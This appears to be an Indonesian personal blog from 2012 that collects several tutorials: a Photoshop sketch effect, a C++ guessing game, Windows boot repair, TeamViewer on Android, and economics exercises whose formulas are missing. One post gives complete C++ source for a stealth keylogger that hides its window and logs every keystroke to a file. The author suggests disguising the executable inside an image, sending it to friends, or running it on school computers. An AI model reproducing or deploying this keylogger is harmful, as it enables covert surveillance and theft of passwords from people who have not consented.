Ads 468x60px

Selasa, 24 April 2012

Membuat skets dengan photoshop

Langkah-langkah pembuatan efek sketsa di photoshop :

STEP 1

Pilih gambar yang ingin diberikan efek sketsa. Untuk tutorial kali ini, saya menggunakan gambar seorang wanita yang bisa ditemukan disini. Beri nama layer gambar wanita dengan nama "girl".



STEP 2

Duplikasi layer "girl" dengan cara klik kanan pada layer girl di layer palette, lalu pilih Duplicate Layer. Sekarang kita sudah punya layer baru dengan gambar yang sama dengan nama layer "girl copy". Pilih layer "girl copy", lalu pada Menu Bar pilih Image?Adjustment>Desaturate hingga hasilnya akan tampak seperti gambar dibawah ini.



STEP 3

Duplikat juga layer "girl copy" sehingga kita punya layer baru lagi dengan nama layer "girl copy 2". Pilih layer "girl copy 2" lalu pilih Image>Adjustment>Invert (Ctrl + I) untuk menegatifkan gambar. Jika sudah, ubah blending mode layer "girl copy 2" di layer palette menjadi color dodge. Jangan khawatir jika gambar berubah menjadi putih semua, ini hanya sementara.



STEP 4

Langkah terakhir, pilih layer "girl copy 2" yang baru saja diinvert, lalu pilih Filter>Blur>Gaussian Blur. Maka sekarang gambar akan kelihatan kembali. Atur nilai radius pada gaussian blur menjadi 30 px. Pada tahap akhir ini, anda bisa mengontrol hasil efek sketsa yang ingin dibuat. Silahkan bereksperimen menyesuaikan hasil efek sketsa sesuai dengan yang diinginkan dengan mengatur nilai radius pada gaussian blur.



HASIL AKHIR



Selamat mencoba, semoga bermanfaat.. :)

Kamis, 12 April 2012

Membuat Game tebak angka dengan C++

Pertama kita memulai, setelah itu kita deklarasikan empat variabel yaitu variable MulaiKesulitanLimit=5dan Acak. Setelah itu kita masuk ke inputan variable Mulai dimana logikanya adalah inputan ini untuk menanyakan apakah si user yang memainkan program game ini setuju untuk memainkan game. Jelas dalam hal itu akan masuk ke kondisi dimana jika kita menolak maka game selesai atau end. Sedangkan opsi selanjutnya yaitu bagaimana jika si user setuju untuk memainkan program game ini? Maka jelas pula game akan meminta user untuk menginput lagi variable Kesulitan. Dimana variable ini logikanya untuk menanyakan tingkat kesulitan yang harus dipilih oleh user dan bernilai seperti dibawah ini.

  1. Jika memasukan angka 1, maka memiliki Limit atau Nyawa atau Kesempatan menebak angka = 5 dan range angka dari 0-10 (Sangat Gampang).
  2. Jika memasukan angka 2, maka memiliki Limit atau Nyawa atau Kesempatan menebak angka = 5 dan range angka dari 0-20 (Gampang).
  3. Jika memasukan angka 3, maka memiliki Limit atau Nyawa atau Kesempatan menebak angka = 5 dan range angka dari 0-30 (Normal).
  4. Jika memasukan angka 4, maka memiliki Limit atau Nyawa atau Kesempatan menebak angka = 5 dan range angka dari 0-40 (Sulit).
  5.  Jika memasukan angka 5, maka memiliki Limit atau Nyawa atau Kesempatan menebak angka = 5 dan range angka dari 0-50 (Sangat Sulit).
    Setelah itu user langsung bisa menebak angka tersebut dengan syarat jika angka tersebut sama dengan mesin random dan belum sampai pada batas limit maka user dinyatakan Menang dan kembali ke awal dan menanyakan apakah user akan memulai ulang lagi game. Akan tetapi jika tidak memenuhi syarat atau limit lebih dari yang sudah ditentukan maka user dinyatakan Kalah dan kembali ke looping apakah user akan memulai ulang permainan.

    Minggu, 08 April 2012

    Mengembalikan Grub windows setelah hapus dual boot linux

    Setelah menghapus linux atau meng-uninstall linux secara otomatiskan grubnya akan hilang, jadi waktu booting komputer tidak otomatis booting ke windows melainkan akan booting ke grub sedangkan grubnya tadi sudah dihapus.
    Nah untuk mengatasi permasalahan tersebut caranya seperti ini ..

    1. Sediakan CD OS Windows, kebetulan saya pakai windows seven.
    2. Masukan CD OS tersebut, lakukan booting lewat CD.
    3. Setelah kelual jendela windows, pilih next.
    4. Setelah keluar jendela install, pilih repair windows, lalu next.
    5. Pilih configurasi lewat commond prompt.
      ketik :
      bootrec.exe /fixmbr lalu enter.
      kemudian ketik :
      bootrec.exe /fixboot lalu enter.
    6. lalu close commond prompt, klik restart.

    Na begitulah caranya, Semoga berhasil.....

    Anti Block text pada blogger


    Bagi pengguna blogger:
    1. Login ke Blogger
    2. Klik Rancangan
    3. Klik tab Edit HTML
    4. Centang pada kotak kecil Expand Template Widget
    5. Silahkan cari di dalam template Anda kode </head>. Agar pencarian lebih cepat, silakan gunakan fasilitas Find atau Ctrl + F.
    6. Kalau sudah ketemu, Copy Paste script berikut tepat di bawah kode </head>.
    1. Klik Simpan Template dan lihatlah hasilnya.

    Sabtu, 07 April 2012

    Team Vieawer android



    untuk tampilan desktop

    alat-alat yang digunakan dapat di download disini
    Desktop
    Android






    dapat langsung di download melalui android market atau sekarang play store
    setelah sudah memiliki semua alat , instal teamviewer yg di desktop dan android




    untuk id dan pasword akan diberikan secara otomatis, sekarang buka teamviewer di android

    tampilan untuk android


    terdapat id dan pasword , masukan yang diberikan pada desktop tadi.
    lalu connect to partner


    tampilan untuk android


    sukses .. kiita dapat menggerakan dan menjalankan desktop kita menggunakan android :)

    Kamis, 05 April 2012

    Membat Keylogger dengan C++



    Cara membuat keylogger menggunakan Visual C + +?
    Persyaratan:

    • Dev C + +. Download dari sini.
    • Pengetahuan tentang Visual C + + (butuhkan, jika Anda akan mengembangkan kode).

    Instal dev C + + di sistem anda dan buka C + + compiler dev.
    Buka File-> New-> Source File.
    Anda dapat melihat ruang kerjanya kosong akan ada di jendela.
    sekarang salin kode di bawah ini ke lembar kerja kosong.


    #include
    using namespace std;
    #include
    #include
    int Save (int key_stroke, char *file);
    void Stealth();
    
    int main()
    {
    Stealth();
    char i;
    
    while (1)
    {
    for(i = 8; i <= 190; i++)
    {
    if (GetAsyncKeyState(i) == -32767)
    Save (i,"LOG.txt");
    }
    }
    system ("PAUSE");
    return 0;
    }
    
    /* *********************************** */
    
    int Save (int key_stroke, char *file)
    {
    if ( (key_stroke == 1) || (key_stroke == 2) )
    return 0;
    
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    
    cout << key_stroke << endl;
    
    if (key_stroke == 8)
    fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if (key_stroke == 13)
    fprintf(OUTPUT_FILE, "%s", "\n");
    else if (key_stroke == 32)
    fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)
    fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if (key_stroke == VK_SHIFT)
    fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (key_stroke == VK_CONTROL)
    fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
    else if (key_stroke == VK_ESCAPE)
    fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else if (key_stroke == VK_END)
    fprintf(OUTPUT_FILE, "%s", "[END]");
    else if (key_stroke == VK_HOME)
    fprintf(OUTPUT_FILE, "%s", "[HOME]");
    else if (key_stroke == VK_LEFT)
    fprintf(OUTPUT_FILE, "%s", "[LEFT]");
    else if (key_stroke == VK_UP)
    fprintf(OUTPUT_FILE, "%s", "[UP]");
    else if (key_stroke == VK_RIGHT)
    fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
    else if (key_stroke == VK_DOWN)
    fprintf(OUTPUT_FILE, "%s", "[DOWN]");
    else if (key_stroke == 190 || key_stroke == 110)
    fprintf(OUTPUT_FILE, "%s", ".");
    else
    fprintf(OUTPUT_FILE, "%s", &key_stroke);
    
    fclose (OUTPUT_FILE);
    return 0;
    }
    
    /* *********************************** */
    
    void Stealth()
    {
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
    }
    kode.(Ctrl+F9)










    Sekarang jalankan program dengan memilih Execute-> Run (ctrl + F10)

    Sekarang keylogger Anda akan berjalan di sistem anda.
    apa pun yang Anda ketik menggunakan keyboard, ini akan disimpan dalam file log.txt.
    Anda dapat melihat file log.txt dimana Anda menyimpan file.





    kombinasit file exe dengan gambar atau file lainnya dankirimkan ke teman Anda.

    jika Anda memiliki akses fisik ke perguruan tinggi / sistem sekolah, lalu salin file exe dalam sistem itu dan jalankan.

    Untuk saat ini, saya hanya memberikan keylogger sederhana. Segera saya akan posting kode program keylogger yang paling efisien.

    Soal perilaku konsumen 2


    Jika persamaan garis anggaran adalah PX1+P2X2=Y. Sekarang jika P1 naik 2 kali lipat, P2 naik 8 kali lipat dan pendapatan naik 4 kalilipat, bagai mana persamaan untuk garis anggaran yang baru dalam hubungannya dengan harga dan pendapatan yang lama? Gambarkan Kurvanya

    Penyelesaian
    P1*X1+P2*X2=Y
    2P1X1+8P2X2=4Y

    Misal
    Y=100 tentu Y*=400
    P1=10 tentu P1*=20
    P2=5 tentu P2*=40


    Soal Perilaku Konsumen


    Dalam mengkonsumsi barang X dan Y, Anatasia memiliki fungsi kepuasan total sebagai berikut:


    Bila diketahui bahwa uang di anggarkan Anastasia untuk membeli kedua barang tersebut adalah 22.000, harga barang X adalah 3000 dan harga barang Y adalah 4000, tentukan lah banyaknya barang X dan Y yang dikonsumsi Anastasia agar memperoleh kepuasan maksimal.?
                                                                                                           
    Keputusan maksimal tercapai  jika




























    Persamaan (1) dan (2) disubsitusikan







    Menjadi








    Nilai  X yang di peroleh dimasukan ke persamaan (2)











    Dengan demikian Anastasia akan memperoleh kepuasan yang maksimal bila ia mengkonsumsi 2 unit X dan 4 unit Y.